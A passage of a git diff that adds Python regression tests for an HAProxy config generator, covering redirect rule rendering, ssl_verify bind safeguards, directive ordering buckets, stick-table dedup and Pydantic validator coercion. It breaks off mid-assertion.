"R11.A-1 regression: legacy `str(redirect)` stringification " + "reappeared — wizard-generated dict redirects will produce " + "parser-fatal HAProxy output." + ) + + +def test_format_redirect_rule_renders_scheme_correctly(): + """Behavioural test: scheme-type redirect renders into proper + HAProxy ``redirect scheme code if `` syntax.""" + import importlib.util + spec = importlib.util.spec_from_file_location("_haproxy_cfg", _GEN) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + + line = mod._format_redirect_rule({ + "type": "scheme", "scheme": "https", + "code": 301, "condition": "!{ ssl_fc }", + }) + assert line is not None + assert "redirect scheme https" in line + assert "code 301" in line + assert "if !{ ssl_fc }" in line + # No literal URL leaks (the pre-fix bug) + assert "https://" not in line, ( + "R11.A-1 regression: redirect scheme rendered with URL — " + "HAProxy `redirect scheme` only accepts a literal scheme name." + ) + + +def test_format_redirect_rule_renders_location_correctly(): + import importlib.util + spec = importlib.util.spec_from_file_location("_haproxy_cfg", _GEN) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + + line = mod._format_redirect_rule({ + "type": "location", "location": "/v2/login", + "code": 302, "condition": "", + }) + assert "redirect location /v2/login" in line + assert "code 302" in line + + +def test_format_redirect_rule_skips_invalid(): + import importlib.util + spec = importlib.util.spec_from_file_location("_haproxy_cfg", _GEN) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + + assert mod._format_redirect_rule(None) is None + assert mod._format_redirect_rule({"type": "unknown"}) is None + assert mod._format_redirect_rule({"type": "scheme", "scheme": "ftp"}) is None + assert mod._format_redirect_rule({"type": "location", "location": ""}) is None + + +def test_build_redirect_rules_no_location_key_for_scheme(): + """Wizard `_build_redirect_rules` must not emit a 'location' field + on a type=scheme rule (HAProxy parser fatal). Pre-fix the row + contained both 'type:scheme' and 'location:https://...' which + is the exact cause of the user-reported parser error.""" + src = _router_src() + # The canonical HTTPS-redirect block in the helper must contain + # `"scheme": "https"` and must NOT contain a string starting with + # `https://` (URL leak). + # Round-13 audit: the original regex used `[^{]*?` which now + # collides with curly braces inside the Bulgu #29 docstring + # (e.g. `!{ ssl_fc }`). Locate the function body via slicing + # from `def _build_redirect_rules(` to the NEXT top-level `def` + # / EOF, then look for the canonical scheme/code/condition keys. + idx = src.find("def _build_redirect_rules(") + assert idx >= 0, "R11.A-1: _build_redirect_rules helper not found" + # Next top-level def OR end-of-file. + next_def = src.find("\ndef ", idx + 1) + body = src[idx:next_def if next_def != -1 else len(src)] + + # Canonical scheme redirect must use the 'scheme' key + assert '"scheme": "https"' in body or "'scheme': 'https'" in body, ( + "R11.A-1 regression: canonical HTTPS redirect must use the " + "'scheme: https' field (not a URL in 'location')." + ) + # The pre-fix URL form must be gone + assert 'https://%[hdr(host)]' not in body, ( + "R11.A-1 regression: pre-fix URL-as-location pattern remained " + "in _build_redirect_rules." + ) + + +# ───────────────────────────────────────────────────────────────────────────── +# R11.A-2: bind-side ssl_verify safeguard +# ───────────────────────────────────────────────────────────────────────────── + + +def test_apply_bind_ssl_verify_helper_exists(): + src = _gen_src() + assert "def _apply_bind_ssl_verify(" in src + assert "def _resolve_frontend_client_ca_path(" in src + + +def test_apply_bind_ssl_verify_skips_when_no_client_ca(): + """No client-CA path → no `verify` directive on the bind line. + This is the explicit safeguard for the user-reported fatal + HAProxy ALERT 'verify is enabled but no CA file specified'. + """ + import importlib.util + spec = importlib.util.spec_from_file_location("_haproxy_cfg", _GEN) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + + bind = " bind 0.0.0.0:443 ssl crt /etc/ssl/haproxy/foo.pem" + out = mod._apply_bind_ssl_verify( + bind, {"name": "fe", "ssl_verify": "required"}, cluster_id=1 + ) + assert "verify required" not in out, ( + "R11.A-2 regression: `verify required` emitted without a " + "ca-file argument — would trigger HAProxy fatal ALERT." + ) + assert out == bind + + +def test_apply_bind_ssl_verify_skips_when_none_or_empty(): + import importlib.util + spec = importlib.util.spec_from_file_location("_haproxy_cfg", _GEN) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + + bind = " bind 0.0.0.0:443 ssl crt /etc/ssl/haproxy/foo.pem" + for val in (None, "", "none", "[]", "{}", "null"): + out = mod._apply_bind_ssl_verify(bind, {"name": "fe", "ssl_verify": val}) + assert out == bind, ( + f"R11.A-2: ssl_verify={val!r} should be a no-op on the bind line" + ) + + +def test_apply_bind_ssl_verify_warns_on_unknown_value(): + """Defensive: unknown ssl_verify values must NOT be emitted (the + DB column had a stale 'true'/'false' default in some legacy + deployments — surfaced via warning only, not via parser-fatal + output).""" + import importlib.util + spec = importlib.util.spec_from_file_location("_haproxy_cfg", _GEN) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + + bind = " bind 0.0.0.0:443 ssl crt /etc/ssl/haproxy/foo.pem" + out = mod._apply_bind_ssl_verify(bind, {"name": "fe", "ssl_verify": "true"}) + assert out == bind + + +# ───────────────────────────────────────────────────────────────────────────── +# R2.3: frontend-block emit ordering buckets +# ───────────────────────────────────────────────────────────────────────────── + + +def test_categorize_helper_exists(): + src = _gen_src() + assert "def _categorize_haproxy_directive(" in src + + +def test_categorize_routes_directives_correctly(): + import importlib.util + spec = importlib.util.spec_from_file_location("_haproxy_cfg", _GEN) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + + cases = [ + (" acl is_admin path_beg /admin", "acl"), + (" stick-table type ip size 100k expire 30s store http_req_rate(10s)", "stick"), + (" http-request track-sc0 src", "http_req"), + (" http-request deny if X", "http_req"), + (" http-response add-header X-Frame-Options DENY", "http_resp"), + (" tcp-request inspect-delay 5s", "tcp_req"), + (" redirect scheme https code 301 if !{ ssl_fc }", "redirect"), + (" use_backend api_be if is_api", "use_be"), + (" default_backend web_be", "default_be"), + (" option httplog", "prelude"), + (" timeout client 30000ms", "prelude"), + (" maxconn 1000", "prelude"), + (" monitor-uri /healthz", "prelude"), + (" compression algo gzip", "prelude"), + (" log 127.0.0.1:514 local0 info", "prelude"), + ] + for line, expected in cases: + got = mod._categorize_haproxy_directive(line) + assert got == expected, ( + f"R2.3 regression: categorize({line!r}) = {got!r}, " + f"expected {expected!r}" + ) + + +def test_emit_buckets_flushed_in_canonical_order(): + """The flush block at end of frontend processing must list buckets + in: prelude → stick → tcp_req → acl → http_req → http_resp → + redirect → use_be → default_be. Pre-fix `http-request` rules + interleaved with `use_backend` rules in source order, producing + HAProxy parser warnings.""" + src = _gen_src() + flush_match = re.search( + r'for\s+_bucket_key\s+in\s+\(\s*' + r'"prelude"\s*,\s*' + r'"stick"\s*,\s*' + r'"tcp_req"\s*,\s*' + r'"acl"\s*,\s*' + r'"http_req"\s*,\s*' + r'"http_resp"\s*,\s*' + r'"redirect"\s*,\s*' + r'"use_be"\s*,\s*' + r'"default_be"\s*,?\s*\)', + src, + ) + assert flush_match, ( + "R2.3 regression: per-frontend bucket flush is missing or " + "buckets are listed in the wrong order. Canonical HAProxy " + "ordering is required to silence " + "'http-request placed after use_backend' warnings." + ) + + +def test_no_direct_config_lines_append_inside_use_backend_emit(): + """Sanity: the use_backend / WAF / log_separate emit branches + must route through `_emit_fe(...)` so they end up in the right + bucket. A regression here would re-introduce the + out-of-order emit bug. + """ + src = _gen_src() + # Find the use_backend emit branch and inspect its body + idx = src.find("# Use Backend Rules") + assert idx >= 0, "use_backend emit branch missing entirely" + end = src.find("# Add WAF rules for this frontend", idx) + assert end > idx, "WAF emit branch missing" + body = src[idx:end] + # Inside this slice, emit must be via _emit_fe (no direct + # `config_lines.append` for rule_text). + assert "_emit_fe(f\" {rule_text}\")" in body, ( + "R2.3 regression: use_backend rules no longer route through " + "_emit_fe — they will end up in source order, breaking " + "canonical bucket ordering." + ) + + +# ───────────────────────────────────────────────────────────────────────────── +# R3.3: stick-table dedup +# ───────────────────────────────────────────────────────────────────────────── + + +def test_stick_table_dedup_safeguard_present(): + src = _gen_src() + assert "_stick_table_emitted" in src, ( + "R3.3 regression: stick-table dedup state variable missing — " + "multiple WAF rate_limit rules in the same frontend will " + "redeclare the table (HAProxy fatal 'stick-table already declared')." + ) + assert "STICK-TABLE DEDUP" in src diff --git a/backend/tests/test_site_wizard_round11_audit.py b/backend/tests/test_site_wizard_round11_audit.py new file mode 100644 index 0000000..a104ac5 --- /dev/null +++ b/backend/tests/test_site_wizard_round11_audit.py @@ -0,0 +1,522 @@ +"""R11 audit (post-PR-1 + post-PR-2) — bulgu remediation regression tests. + +This file pins the behavioural fixes uncovered during the systematic +7-criteria audit of the PR-1 / PR-2 hotfix bundle. Each test maps to +a specific finding (FIX-N below) so a regression can be traced back +to the original audit note in chat history. + +FIX-1 (Bug): + models/frontend.py::FrontendConfig.ssl_verify coerce was case + sensitive — `'OPTIONAL'`/`'REQUIRED'` survived the pre-validator + unchanged and were then REJECTED by the Literal, even though the + lowercase equivalent is a valid value. Inconsistent with the + sister coercers in `models/site_wizard.py` and the new + `models/backend.py` validator. + +FIX-2 (Bug): + services/haproxy_config.py::_format_redirect_rule double-prepended + "if" when the caller passed `condition="if !{ ssl_fc }"`, + producing the parser-fatal line `redirect scheme https code 301 + if if !{ ssl_fc }`. + +FIX-3 (Bug): + database/migrations.py PR-2 cleanup used `fetchval()` against a + CTE+RETURNING multi-row UPDATE — only the first row id surfaced + in the log, masking the true cleanup count. Operators relying on + the migration log to count touched rows would be misled. + +FIX-4 (Test gap): + No test exercised `_format_redirect_rule` with `type='prefix'`, + `code` passed as a string (`'301'`), or the leading-`if` edge. + +FIX-5 (Test gap): + No behavioural test for the `_categorize_haproxy_directive` edge + cases (empty line / WAF comment / `mode http` direct emit). + +FIX-8 (Test gap): + ServerConfig coerce only had lowercase coverage; uppercase + variants were untested. +""" + +from __future__ import annotations + +from pathlib import Path +import importlib.util + +import pytest +from pydantic import ValidationError + + +_BACK = Path(__file__).resolve().parent.parent +_GEN = _BACK / "services" / "haproxy_config.py" + + +def _load_gen(): + spec = importlib.util.spec_from_file_location("_haproxy_cfg", _GEN) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + return mod + + +# ───────────────────────────────────────────────────────────────────────────── +# FIX-1: FrontendConfig case-insensitive ssl_verify coerce +# ───────────────────────────────────────────────────────────────────────────── + + +def test_frontend_config_ssl_verify_uppercase_coerces(): + """`'OPTIONAL'`, `'REQUIRED'`, `'NONE'` (any case) must coerce to + the canonical lowercase Literal value, not be rejected.""" + from models.frontend import FrontendConfig + + cases = { + "OPTIONAL": "optional", + "Optional": "optional", + "REQUIRED": "required", + "Required": "required", + "NONE": "none", + "None": "none", + " Optional ": "optional", # surrounding whitespace + } + for raw, expected in cases.items(): + m = FrontendConfig(name="fe", bind_port=80, ssl_verify=raw) + assert m.ssl_verify == expected, ( + f"FIX-1 regression: ssl_verify={raw!r} should coerce to " + f"{expected!r}, got {m.ssl_verify!r}" + ) + + +def test_frontend_config_ssl_verify_garbage_still_rejected(): + """Coerce must NOT swallow garbage — only canonical values pass.""" + from models.frontend import FrontendConfig + + for bad in ("yes", "true", "1", "verify", "Optional!"): + with pytest.raises(ValidationError): + FrontendConfig(name="fe", bind_port=80, ssl_verify=bad) + + +# ───────────────────────────────────────────────────────────────────────────── +# FIX-2: _format_redirect_rule duplicate-`if` guard +# ───────────────────────────────────────────────────────────────────────────── + + +def test_format_redirect_rule_no_duplicate_if(): + """Caller-provided ``condition='if X'`` must NOT result in + ``... if if X`` in the rendered line.""" + mod = _load_gen() + + line = mod._format_redirect_rule({ + "type": "scheme", "scheme": "https", "code": 301, + "condition": "if !{ ssl_fc }", + }) + assert line is not None + assert " if if " not in line, ( + f"FIX-2 regression: duplicate 'if' guard missing — rendered " + f"line was {line!r}" + ) + # The single 'if !{ ssl_fc }' must still be present + assert "if !{ ssl_fc }" in line + + +def test_format_redirect_rule_unless_clause(): + """`unless` is the only other valid HAProxy condition prefix — + treat it the same as a leading 'if '.""" + mod = _load_gen() + + line = mod._format_redirect_rule({ + "type": "scheme", "scheme": "https", "code": 301, + "condition": "unless { ssl_fc }", + }) + assert line is not None + # Must NOT prepend 'if' before 'unless' + assert "if unless" not in line + assert "unless { ssl_fc }" in line + + +def test_format_redirect_rule_naked_condition_gets_if_prefix(): + """A bare condition (no leading 'if'/'unless') must still get the + 'if ' prefix prepended.""" + mod = _load_gen() + + line = mod._format_redirect_rule({ + "type": "scheme", "scheme": "https", "code": 301, + "condition": "!{ ssl_fc }", + }) + assert "if !{ ssl_fc }" in line + + +def test_format_redirect_rule_prefix_type(): + """FIX-4: `type='prefix'` was never exercised by tests.""" + mod = _load_gen() + + line = mod._format_redirect_rule({ + "type": "prefix", "prefix": "/v2", + "code": 301, "condition": "", + }) + assert "redirect prefix /v2" in line + assert "code 301" in line + + +def test_format_redirect_rule_code_as_string(): + """FIX-4: callers that JSON-decode an old wizard payload may + deliver `code` as the string `'301'`. The helper must coerce + it to int and emit `code 301`.""" + mod = _load_gen() + + line = mod._format_redirect_rule({ + "type": "scheme", "scheme": "https", "code": "301", + }) + assert "code 301" in line + + +def test_format_redirect_rule_invalid_code_dropped(): + """Invalid `code` values must be dropped (logged), not rendered.""" + mod = _load_gen() + + line = mod._format_redirect_rule({ + "type": "scheme", "scheme": "https", "code": "not-an-int", + }) + # The line is still rendered — just without the `code ` part + assert "redirect scheme https" in line + assert "code" not in line, ( + "FIX-4 regression: invalid 'code' value should be dropped " + "(logged) rather than rendered as `code not-an-int`." + ) + + +# ───────────────────────────────────────────────────────────────────────────── +# FIX-5: _categorize_haproxy_directive edge cases +# ───────────────────────────────────────────────────────────────────────────── + + +def test_categorize_empty_line_safe(): + """Empty / whitespace-only lines must not crash the categorizer.""" + mod = _load_gen() + assert mod._categorize_haproxy_directive("") == "prelude" + assert mod._categorize_haproxy_directive(" ") == "prelude" + assert mod._categorize_haproxy_directive("\t\n") == "prelude" + + +def test_categorize_waf_comment_routes_to_acl(): + """WAF marker comments stick to the same bucket as the ACL/HTTP + rules they describe so the rendered config is grouped sanely.""" + mod = _load_gen() + assert mod._categorize_haproxy_directive(" # WAF Rule: foo (Priority: 100)") == "acl" + assert mod._categorize_haproxy_directive(" # IP Filter Log: blocked") == "acl" + assert mod._categorize_haproxy_directive(" # Rate Limit Log: x") == "acl" + assert mod._categorize_haproxy_directive(" # Header Filter Log: x") == "acl" + + +def test_categorize_unknown_directive_falls_to_prelude(): + """An unrecognised line goes to 'prelude' so it appears early + in the rendered block — operators see it and the validator + surfaces it as a warning rather than silently dropping it.""" + mod = _load_gen() + assert mod._categorize_haproxy_directive(" weird-haproxy-keyword xyz") == "prelude" + + +# ───────────────────────────────────────────────────────────────────────────── +# FIX-9: WAF custom-comment keywords route to the 'acl' bucket +# ───────────────────────────────────────────────────────────────────────────── + + +def test_categorize_waf_custom_comment_keywords_route_to_acl(): + """Pre-fix the heuristic only matched 5 keywords (`waf rule:`, + `ip filter`, `rate limit`, `header filter`, `request filter`). + `# Log Message: ...`, `# Custom Log: ...`, `# Custom Condition + for ...` and `# Filter Log: ...` were mis-routed to 'prelude', + visually disconnecting the comment from the rule it + documents.""" + mod = _load_gen() + cases = [ + " # Log Message: blocked by xyz", + " # Custom Log: bot detected", + " # Custom Condition for foo", + " # IP Filter Log: deny rule for x", + ] + for line in cases: + assert mod._categorize_haproxy_directive(line) == "acl", ( + f"FIX-9 regression: {line!r} should route to 'acl' bucket " + f"alongside the rule it documents." + ) + + +# ───────────────────────────────────────────────────────────────────────────── +# FIX-10: BACKEND-MODE-WARNING comments route to the 'default_be' bucket +# ───────────────────────────────────────────────────────────────────────────── + + +def test_categorize_backend_mode_warning_routes_to_default_be(): + """Mode-mismatch warnings use the BACKEND-MODE-WARNING marker + so the comment emits NEXT TO the default_backend directive, + not at the top of the frontend block (operator UX).""" + mod = _load_gen() + line = " # BACKEND-MODE-WARNING: Backend 'be' has mode 'tcp' but frontend has mode 'http'" + assert mod._categorize_haproxy_directive(line) == "default_be", ( + "FIX-10 regression: BACKEND-MODE-WARNING comments must route " + "to 'default_be' bucket so they emit next to the directive " + "they describe." + ) + + +def test_generator_uses_backend_mode_warning_marker(): + """The generator must use the BACKEND-MODE-WARNING marker (not + the legacy `# WARNING: ...` text) so the categorize heuristic + can find them. Pre-fix the comments matched no heuristic + keyword and landed in the 'prelude' bucket far above the + actual default_backend directive.""" + src = _GEN.read_text() + assert "# BACKEND-MODE-WARNING:" in src, ( + "FIX-10 regression: mode-mismatch comments lost the marker " + "and will route to 'prelude' instead of 'default_be'." + ) + + +# ───────────────────────────────────────────────────────────────────────────── +# FIX-11: _format_redirect_rule legacy double-prefix guard +# ───────────────────────────────────────────────────────────────────────────── + + +def test_format_redirect_rule_legacy_string_no_double_prefix(): + """Legacy DB rows from earlier releases sometimes stored the + FULL `redirect ...` line including the leading + 'redirect ' keyword. Without the guard the helper would + prepend a second 'redirect '.""" + mod = _load_gen() + + line = mod._format_redirect_rule("redirect scheme https if !{ ssl_fc }") + assert line is not None + # The single 'redirect ' prefix must be present exactly once + assert line.count("redirect ") == 1, ( + f"FIX-11 regression: double 'redirect' prefix in {line!r}" + ) + assert "redirect scheme https" in line + + +def test_format_redirect_rule_naked_legacy_string_unchanged(): + """A bare legacy entry (`scheme https if !{ ssl_fc }`) without + the leading keyword must still get a single 'redirect ' + prefix prepended — the FIX-11 strip must NOT regress this.""" + mod = _load_gen() + + line = mod._format_redirect_rule("scheme https if !{ ssl_fc }") + assert line is not None + assert line.count("redirect ") == 1 + assert "redirect scheme https if !{ ssl_fc }" in line + + +def test_format_redirect_rule_empty_after_keyword_strip(): + """`'redirect '` (just the keyword + whitespace) must skip + cleanly rather than rendering an empty `' redirect '`.""" + mod = _load_gen() + + assert mod._format_redirect_rule("redirect ") is None + assert mod._format_redirect_rule("redirect ") is None + + +# ───────────────────────────────────────────────────────────────────────────── +# FIX-12: BIND SSL_VERIFY DOWNGRADE log message hygiene +# ───────────────────────────────────────────────────────────────────────────── + + +def test_apply_bind_ssl_verify_log_no_dead_link_to_unimplemented_ui(): + """Pre-fix the diagnostic log pointed operators at a UI path + ('Frontend Management → Advanced TLS') that does not exist + until PR-7 — operators followed the hint, hit a dead end, and + reported the safeguard as a bug. The new message offers a + concrete current-release action AND notes the upcoming + column.""" + src = _GEN.read_text() + # The dead-link phrase must be gone + assert "via Frontend Management → Advanced TLS" not in src, ( + "FIX-12 regression: BIND SSL_VERIFY DOWNGRADE log message " + "still references 'Frontend Management → Advanced TLS' " + "which does not exist on the current release." + ) + # The actionable hint must be present + assert "set ssl_verify='none'" in src, ( + "FIX-12 regression: BIND SSL_VERIFY DOWNGRADE log message " + "must offer a concrete current-release action " + "(set ssl_verify='none') instead of a dead UI link." + ) + + +# ───────────────────────────────────────────────────────────────────────────── +# FIX-13: uppercase 'NONE' / 'OPTIONAL' / sentinel in bind safeguard +# ───────────────────────────────────────────────────────────────────────────── + + +def test_apply_bind_ssl_verify_uppercase_none_skips(): + """`'NONE'` (uppercase / mixed case) is one of the legacy + sentinel values that older clients sent. The helper must + treat it as 'no verify directive' regardless of case.""" + mod = _load_gen() + bind = " bind 0.0.0.0:443 ssl crt /etc/ssl/haproxy/foo.pem" + for raw in ("NONE", "None", "none", " None "): + out = mod._apply_bind_ssl_verify(bind, {"name": "fe", "ssl_verify": raw}) + assert out == bind, ( + f"FIX-13: ssl_verify={raw!r} should be a no-op on the bind line " + "(case-insensitive 'none' check)" + ) + + +# ───────────────────────────────────────────────────────────────────────────── +# Asymmetric server-side vs frontend-side ssl_verify behavior pin +# ───────────────────────────────────────────────────────────────────────────── + + +def test_server_side_emits_explicit_verify_none_downgrade(): + """Sanity pin: server-side mTLS downgrade explicitly emits + 'verify none' (because HAProxy 2.8+ defaults server SSL to + 'verify required' which would FAIL without a CA). Frontend- + side instead SKIPS the directive entirely (HAProxy default + is 'verify none' on bind). This asymmetry is intentional; + the test exists to prevent a future maintainer from + mistakenly "harmonising" the two paths and breaking server + SSL reload.""" + src = _GEN.read_text() + # Server-side path must contain explicit 'verify none' downgrade + assert 'server_line += " verify none"' in src, ( + "Asymmetry regression: server-side ssl_verify downgrade must " + "EXPLICITLY emit 'verify none' (HAProxy 2.8+ default is " + "'verify required' on server SSL — skipping the directive " + "would break upstream connections)." + ) + # And the bind-side path must NOT have a 'verify none' fallback + # (frontend bind defaults to 'verify none' so a skip is safe). + # Look for the safeguard helper signature instead: + assert "def _apply_bind_ssl_verify(" in src + # There must NOT be an explicit 'bind_line += " verify none"' + # anywhere (would defeat the safeguard's no-op-on-skip + # contract). + assert 'bind_line += " verify none"' not in src, ( + "Asymmetry regression: bind-side path should SKIP the " + "verify directive when no client-CA is resolvable — emitting " + "'verify none' would be a behaviour change." + ) + + +# ───────────────────────────────────────────────────────────────────────────── +# FIX-5: _emit_fe / stick-table dedup runtime test (best-effort) +# ───────────────────────────────────────────────────────────────────────────── + + +def test_stick_table_dedup_logic_via_helper_inspection(): + """The dedup logic lives inside a closure (`_emit_fe`) so a + direct behavioural call requires building a partial frontend + fixture. Instead, inspect the source to confirm the dedup + branch keeps the FIRST `stick-table` line and discards + subsequent ones. + + Phase K Phase D follow-up (Bulgu #13) updated this test from + "track-sc0 is NOT dedup'ed" to "track-sc0 IS dedup'ed". The + rationale: HAProxy only needs one tracking call per frontend; + every additional `http-request track-sc0 src` is a redundant + state-table operation per request. The per-rule + `http-request deny if { sc_http_req_rate(0) gt N }` lines are + NOT dedup'ed because each WAF rule has its own threshold and + must still emit. + """ + src = _GEN.read_text() + # The dedup must check `startswith("stick-table")` specifically, + # so other 'stick' keywords (e.g. 'stick on src') are NOT + # incorrectly suppressed. The exact expression now lives on the + # `stripped` local but the membership check is preserved. + assert 'startswith("stick-table")' in src, ( + "FIX-5 regression: dedup branch must scope to `stick-table` " + "specifically so non-table 'stick' directives still emit." + ) + # The dedup must short-circuit ONLY when already emitted, not + # always. + assert "if _stick_table_emitted" in src and "startswith(\"stick-table\")" in src, ( + "FIX-5 regression: stick-table dedup must be conditional on " + "the `_stick_table_emitted` flag." + ) + # Bulgu #13 — track-sc dedup must ALSO be present. Round-2 + # refinement: dedup is now scoped to the full (counter, fetch) + # signature so `track-sc0 src` and `track-sc0 dst` collapse + # independently. Accept either the legacy single-flag layout + # or the new signature-set layout. + assert ( + "_track_sc_signatures" in src + or "_track_sc0_emitted" in src + ), ( + "Bulgu #13 regression: track-sc dedup state is missing — " + "every WAF rate-limit rule will emit a redundant " + "`http-request track-sc ` line into the frontend block." + ) + assert 'startswith("http-request track-sc")' in src, ( + "Bulgu #13 regression: track-sc dedup must scope to the " + "track-sc directive family specifically; otherwise unrelated " + "http-request rules may be incorrectly suppressed." + ) + + +# ───────────────────────────────────────────────────────────────────────────── +# FIX-8: ServerConfig uppercase ssl_verify coerce +# ───────────────────────────────────────────────────────────────────────────── + + +def test_server_config_ssl_verify_uppercase_coerces(): + """`'NONE'` / `'REQUIRED'` (any case) must coerce to the + canonical lowercase Literal value.""" + from models.backend import ServerConfig + + base = dict(server_name="srv", server_address="10.0.0.1", server_port=80) + for raw, expected in (("NONE", "none"), ("None", "none"), + ("REQUIRED", "required"), ("Required", "required")): + m = ServerConfig(**base, ssl_verify=raw) + assert m.ssl_verify == expected + + +def test_server_config_uppercase_optional_coerces_to_none(): + """`'OPTIONAL'` (any case) is invalid server-side — coerce to + None, do NOT render an invalid `verify optional` directive.""" + from models.backend import ServerConfig + + base = dict(server_name="srv", server_address="10.0.0.1", server_port=80) + for raw in ("OPTIONAL", "Optional", "optional"): + m = ServerConfig(**base, ssl_verify=raw) + assert m.ssl_verify is None + + +# ───────────────────────────────────────────────────────────────────────────── +# FIX-3: Migration cleanup count parser +# ───────────────────────────────────────────────────────────────────────────── + + +def test_migration_cleanup_uses_execute_not_fetchval(): + """The pre-fix code path used `fetchval()` with a CTE+RETURNING + multi-row UPDATE, surfacing only the first row's id and + masking the true count. Switched to `execute()` + status-tag + parse for accurate operator-facing reporting.""" + src = (_BACK / "database" / "migrations.py").read_text() + + # The legacy code-line pattern (executable, not in a comment) + # must be gone. We strip Python comments before searching so the + # historical-context comment block in `migrations.py` doesn't + # trigger a false positive. + code_only = "\n".join( + line for line in src.splitlines() + if not line.lstrip().startswith("#") + ) + assert "RETURNING f.id" not in code_only, ( + "FIX-3 regression: legacy `RETURNING f.id` from the cleanup " + "block reappeared — `fetchval` only surfaces the first row id." + ) + # And `cleanup_count = await conn.fetchval(` (the legacy invocation + # for this exact block) must not be present either. + assert "cleanup_count = await conn.fetchval(" not in code_only, ( + "FIX-3 regression: legacy `fetchval()` invocation for the " + "ssl_verify cleanup block reappeared." + ) + # The new pattern must be present + assert "cleanup_status = await conn.execute(" in src, ( + "FIX-3 regression: cleanup must use `execute()` so the " + "asyncpg status tag (`'UPDATE N'`) can be parsed for the " + "true row count." + ) + assert 'int(str(cleanup_status).split()[-1])' in src, ( + "FIX-3 regression: cleanup count parse from asyncpg status " + "tag is missing — operator log will not surface the true " + "number of rows touched." + ) diff --git a/backend/tests/test_site_wizard_round11_pr2.py b/backend/tests/test_site_wizard_round11_pr2.py new file mode 100644 index 0000000..f58110a --- /dev/null +++ b/backend/tests/test_site_wizard_round11_pr2.py @@ -0,0 +1,227 @@ +"""R11 PR-2 — ssl_verify Pydantic Literal unification + DB default flip. + +Pre-PR-2 state: + - `models/frontend.py::FrontendConfig.ssl_verify` was `Optional[str]` + so any string passed validation, including legacy `'true'` / + `'false'` / `'1'` and obsolete UI artifacts. The HAProxy generator + later rendered the value verbatim, producing parser-fatal output. + - `models/backend.py::ServerConfig.ssl_verify` was also `Optional[str]`. + - `models/site_wizard.py::ServerStep.ssl_verify` had a strict + Literal but no empty-string coercion — so the React form's + cleared select (`''`) raised a ValidationError on every save. + - `models/site_wizard.py::SSLChoice.ssl_verify` likewise lacked + coercion. + - `database/migrations.py` set ``DEFAULT 'optional'`` for the + frontends.ssl_verify column at table creation AND on + ADD-COLUMN-on-existing-table paths. Combined with a missing + client-CA column, this is the root cause of the user-reported + fatal HAProxy ALERT after a wizard reject + apply cycle. + +PR-2 fix: + - All four models accept the same canonical Literal set. The + server-side server-line uses `{'none','required'}` (HAProxy + server SSL has no `optional`); the bind-side uses + `{'none','optional','required'}`. + - All four have a `pre`/`mode='before'` validator that coerces + `''` and sentinel values (`'[]'`, `'{}'`, `'null'`) to None. + - `migrations.py` drops the `DEFAULT 'optional'` clause on both the + CREATE TABLE definition and the in-place ALTER ADD COLUMN line, + AND adds a one-shot cleanup that: + * drops the column DEFAULT in-place on already-deployed DBs, + * NULLs out any rows whose ssl_verify is outside the canonical + Literal set (preserving legitimate operator-set values). +""" + +from __future__ import annotations + +from pathlib import Path + +import pytest +from pydantic import ValidationError + + +_BACK = Path(__file__).resolve().parent.parent + + +# ───────────────────────────────────────────────────────────────────────────── +# Frontend (manual create endpoint) +# ───────────────────────────────────────────────────────────────────────────── + + +def test_frontend_config_ssl_verify_is_strict_literal(): + from models.frontend import FrontendConfig + + # Valid values → accepted + for v in ("none", "optional", "required"): + m = FrontendConfig(name="fe", bind_port=80, ssl_verify=v) + assert m.ssl_verify == v + + # Invalid free-form string → rejected. + # NOTE (R11-audit FIX-1): the case-insensitive coercer accepts + # `'REQUIRED'`/`'OPTIONAL'`/`'NONE'` and lower-cases them to the + # canonical Literal value. So we test only values that are + # genuinely off-vocabulary. + for bad in ("true", "false", "1", "yes", "Optional!"): + with pytest.raises(ValidationError): + FrontendConfig(name="fe", bind_port=80, ssl_verify=bad) + + +def test_frontend_config_ssl_verify_empty_coerces_to_none(): + from models.frontend import FrontendConfig + + for empty in ("", "[]", "{}", "null"): + m = FrontendConfig(name="fe", bind_port=80, ssl_verify=empty) + assert m.ssl_verify is None, ( + f"PR-2 R11.B regression: ssl_verify={empty!r} should coerce " + "to None (UI form clear) — got {m.ssl_verify!r}" + ) + + +def test_frontend_config_ssl_verify_none_passthrough(): + from models.frontend import FrontendConfig + + # None and 'none' are distinct: None means "field omitted" while + # 'none' is the explicit Literal value — both are valid. + m1 = FrontendConfig(name="fe", bind_port=80) + assert m1.ssl_verify is None + m2 = FrontendConfig(name="fe", bind_port=80, ssl_verify=None) + assert m2.ssl_verify is None + + +# ───────────────────────────────────────────────────────────────────────────── +# Backend server (manual create endpoint) +# ───────────────────────────────────────────────────────────────────────────── + + +def test_server_config_ssl_verify_strict_literal_no_optional(): + """HAProxy server-line ssl_verify only supports `none|required` + (`optional` is a frontend-bind-only mode). The unified Literal + must reflect that and coerce a stale `'optional'` from old + payloads to None rather than rendering an invalid directive.""" + from models.backend import ServerConfig + + base = dict(server_name="srv1", server_address="10.0.0.1", server_port=80) + + for v in ("none", "required"): + m = ServerConfig(**base, ssl_verify=v) + assert m.ssl_verify == v + + # 'optional' is invalid server-side → coerce to None + m = ServerConfig(**base, ssl_verify="optional") + assert m.ssl_verify is None, ( + "PR-2 R11.B regression: server-side `ssl_verify='optional'` " + "must coerce to None — HAProxy `server ... verify optional` " + "is invalid syntax." + ) + + # Free-form garbage → rejected + for bad in ("true", "yes", "1"): + with pytest.raises(ValidationError): + ServerConfig(**base, ssl_verify=bad) + + +def test_server_config_ssl_verify_empty_coerces_to_none(): + from models.backend import ServerConfig + + base = dict(server_name="srv1", server_address="10.0.0.1", server_port=80) + for empty in ("", "[]", "{}", "null"): + m = ServerConfig(**base, ssl_verify=empty) + assert m.ssl_verify is None + + +# ───────────────────────────────────────────────────────────────────────────── +# Wizard ServerStep + SSLChoice +# ───────────────────────────────────────────────────────────────────────────── + + +def test_wizard_serverstep_ssl_verify_empty_coerces_to_none(): + from models.site_wizard import ServerStep + + base = dict(server_name="srv1", server_address="10.0.0.1", server_port=80) + for empty in ("", "[]", "{}", "null"): + m = ServerStep(**base, ssl_verify=empty) + assert m.ssl_verify is None, 